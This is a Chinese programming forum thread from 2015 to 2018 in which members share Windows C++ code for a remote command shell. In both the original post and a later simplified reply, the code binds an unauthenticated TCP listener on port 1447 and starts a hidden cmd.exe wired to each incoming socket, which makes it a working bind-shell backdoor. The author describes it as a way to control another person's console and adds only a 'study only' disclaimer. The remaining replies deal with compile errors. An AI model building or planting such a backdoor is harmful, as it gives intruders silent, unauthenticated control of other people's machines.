无名侠 发表于 2015-7-12 12:46:52

0管道 CMD远程登录。

{:5_92:} 原理是把Socket套接字句柄作为子进程的stdin、stdout、stderr管道。
要实现这一步必须用WSASocket创建套接字。 不用创建管道,省区许多麻烦事儿。

上一张用Telnet连接的图吧。

仅供学习~不要干坏事哦。

@漩涡鸣人 @kklloo @~风介~ @牡丹花下死做鬼


// ScoketPip.cpp : 定义应用程序的入口点。
//

#include "stdafx.h"
#include "ScoketPip.h"
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
typedef struct
{
        SOCKET childFd;
        SOCKADDR_IN childaddr;
        DWORD thread_id;
}WorkInfo;
DWORD WINAPI thread_worker(PVOID Parm)
{
        // 这是工作线程函数
        WorkInfo info1;
        PROCESS_INFORMATION pi={0};
        STARTUPINFOA si={0};
        memcpy(&info1,Parm,sizeof(WorkInfo));
        // 创建进程
        si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)info1.childFd;
        char *welcome = "远程CMD\n作者:无名侠\n主页:www.pandaos.net\n";
        send(info1.childFd,welcome,strlen(welcome)+1,0);
        DWORD ret=CreateProcessA(NULL,"cmd.exe",
                NULL,NULL,1,0,NULL,NULL,&si,&pi);
        if (!ret)
        {
                char *error = "无法访问cmd.exe\n连接失败...\n";
                send(info1.childFd,error,strlen(error)+1,0);
        }
       
       
        closesocket(info1.childFd);

        // 销毁
        return ret;
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
        WSADATA wd={0};
        SOCKET sock;
        SOCKADDR_IN sockaddr={0};
        WSAStartup(MAKEWORD(2,2),&wd);
        sock = WSASocket(AF_INET, SOCK_STREAM,
                IPPROTO_TCP, NULL, 0, 0);
        if (sock==INVALID_SOCKET)
                ExitProcess(-1);
        sockaddr.sin_family = AF_INET;
        sockaddr.sin_port=htons(1447);
        sockaddr.sin_addr.S_un.S_addr=ADDR_ANY;
        if(bind(sock,(SOCKADDR *)&sockaddr,sizeof(sockaddr)))
                ExitProcess(-2);
        if(listen(sock,5))
                ExitProcess(-3);
        // 为每个用户运行一个cmd控制台
        while (true)
        {
                WorkInfo newwork;
                int slen;
                slen = sizeof(SOCKADDR_IN);
                newwork.childFd=accept(sock,(SOCKADDR *)&newwork.childaddr,&slen);
                if (newwork.childFd!=INVALID_SOCKET)
                {
                        HANDLE hThread;
                        hThread = CreateThread(NULL,0,thread_worker,&newwork,0,&newwork.thread_id);
                        CloseHandle(hThread);
                }
                Sleep(200);
        }
}

牡丹花下死做鬼 发表于 2015-7-12 12:52:11

表示 暂时完全不知道你写了什么{:5_100:}

无名侠 发表于 2015-7-12 12:54:57

牡丹花下死做鬼 发表于 2015-7-12 12:52
表示 暂时完全不知道你写了什么

这个可以操控别人电脑上的控制台。
操作的时候就想在操作自己电脑的控制台一样,

~风介~ 发表于 2015-7-12 19:04:31

编译器报错说没有这两个头文件:
#include "stdafx.h"
#include "ScoketPip.h"
看来我还是搞不懂具体的步骤啊~{:7_139:}

无名侠 发表于 2015-7-12 19:08:35

~风介~ 发表于 2015-7-12 19:04
编译器报错说没有这两个头文件:

看来我还是搞不懂具体的步骤啊~

{:5_103:}去掉就行了。

无名侠 发表于 2015-7-12 19:09:25

~风介~ 发表于 2015-7-12 19:04
编译器报错说没有这两个头文件:

看来我还是搞不懂具体的步骤啊~

有点懒,每次都让vc自动导入头文件。
#include <windows.h> 记得加上。

爱你一辈子 发表于 2015-7-17 20:26:25

刷点鱼币 只为下载 路过

xintiandi 发表于 2016-2-29 22:29:50

请教楼主一个问题,我用telnet运行一些命令不起作用,但是在cmd下就可以,同一台主机。

sakana 发表于 2018-2-7 09:49:55

感谢楼主,我这里稍微整理了一下,改成单线程的看的清楚有需要再改成多线程的。
/**
* TelNet服务端
* @by skn
*/
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

int main(char *argc,char *argv[])
{
    WSADATA wsaData;
    WORD sockVersion = MAKEWORD(2,2);
    WSAStartup(sockVersion,&wsaData);

    //SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    SOCKET s = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
    if(s == INVALID_SOCKET)
    {
      return -1;
    }

    sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(1447);
    sin.sin_addr.S_un.S_addr = INADDR_ANY;
    if(bind(s,(LPSOCKADDR)&sin,sizeof(sin)) == SOCKET_ERROR)
    {
      return -1;
    }

    if(listen(s,SOMAXCONN) == SOCKET_ERROR)
    {
      return -1;
    }

    while(true)
    {
      sockaddr_in remoteAddr;
      int nAddrLen = sizeof(sockaddr_in);
      SOCKET client = accept(s,(SOCKADDR*)&remoteAddr,&nAddrLen);
      if(client == INVALID_SOCKET)
      {
            continue;
      }

      PROCESS_INFORMATION pi = {0};
      STARTUPINFOA si = {0};
      si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
      si.wShowWindow = SW_HIDE;
      si.hStdInput = si.hStdOutput = si.hStdError = (void *)client;
      CreateProcessA(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&pi);
      closesocket(client);
    }

    WSACleanup();
    return 1;
}
页: [1]
查看完整版本: 0管道 CMD远程登录。